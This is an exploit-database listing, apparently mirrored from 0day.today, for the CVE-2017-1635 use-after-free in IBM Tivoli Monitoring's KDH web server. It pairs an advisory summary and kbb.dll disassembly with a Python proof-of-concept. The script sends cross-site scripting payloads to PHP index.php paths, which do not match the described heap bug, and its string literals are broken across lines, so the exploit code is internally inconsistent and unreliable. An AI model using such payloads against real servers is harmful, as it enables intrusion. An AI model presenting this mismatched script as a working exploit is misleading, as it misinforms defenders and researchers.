Lucene search
K

IBM Tivoli Monitoring Remote Code Execution Exploit

🗓️ 09 Feb 2018 00:00:00Reported by botType 
zdt
 zdt
🔗 0day.today👁 57 Views

IBM Tivoli Monitoring KDH Component Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: IBM Tivoli Monitoring is affected by a vulnerability in its internal web server
17 Jun 201815:47
ibm
Circl
CVE-2017-1635
10 Oct 202411:01
circl
CNVD
IBM Tivoli Monitoring Arbitrary Code Execution Vulnerability
24 Nov 201700:00
cnvd
CVE
CVE-2017-1635
13 Dec 201718:00
cve
Cvelist
CVE-2017-1635
13 Dec 201718:00
cvelist
NVD
CVE-2017-1635
13 Dec 201718:29
nvd
Prion
Design/Logic Flaw
13 Dec 201718:29
prion
IBM Tivoli Monitoring CVE-2017-1635 Remote Code Execution Vulnerability

CVEID: CVE-2017-1635
CVSS Base Score: 8
Affected Products and Versions
The KDH component of IBM Tivoli Monitoring Basic Services (KGL,KAX) for
Version 6.2.2 through 6.2.2 Fix Pack 9


A vulnerability exists in the internal web server provided by IBM Tivoli
Monitoring basic services. It could allow a remote attacker to execute
arbitrary code on the system, caused by a use-after-free error. A remote
attacker could exploit this vulnerability to execute arbitrary code on
the system or cause the application to crash.
The web server component "KDH", after receiving certain requests,
executes a memory region in the heap previously freed by the component
itself.
An attacker is able to fill the heap before the memory is reused, in
order to execute arbitrary code.

poc.py
………………………………

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost",1920))

payload = 'GET
/index.php?action=storenew&username=<script>alert()</script>index.php?action=storenew&username=<script>alert()</script>
HTTP/1.1\r\n\r\n'
s.send(payload)

payload = 'GET
/index.php?action=search&searchFor=\"><script>alert()</script >
HTTP/1.1\r\n\r\n'
s.send(payload)
print s.recv(1024)
………………………………

0x6191BCF8 - malloc in BSS1_NewFormat
0x61903fea - free in BSS1_EndFormat
0x6191BDEF - call to ecx+4

At first, malloc() is called to allocate space (0x400) where application
will put response page to the faulty request; then free() is called on
the same address used in the “call [ecx+4]” later on.

The disassembly code involved is:
kbb.dll:61903FD7                 mov     eax, [edx]
kbb.dll:61903FD9                 push    eax
kbb.dll:61903FDA                 mov     ecx, [ebp-8]
kbb.dll:61903FDD                 call    dword ptr [ecx+4] <- here is
called the address of the previously freed heap + 4

Supporting techincal details:
As shown in the WinDbg screenshot
(http://www.quantumleap.it/wp-content/uploads/2018/02/tivoli_windbg.jpeg),
execution is suspended at 0x004c0931, where the payload is “\xcc” -
breakpoint.


#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation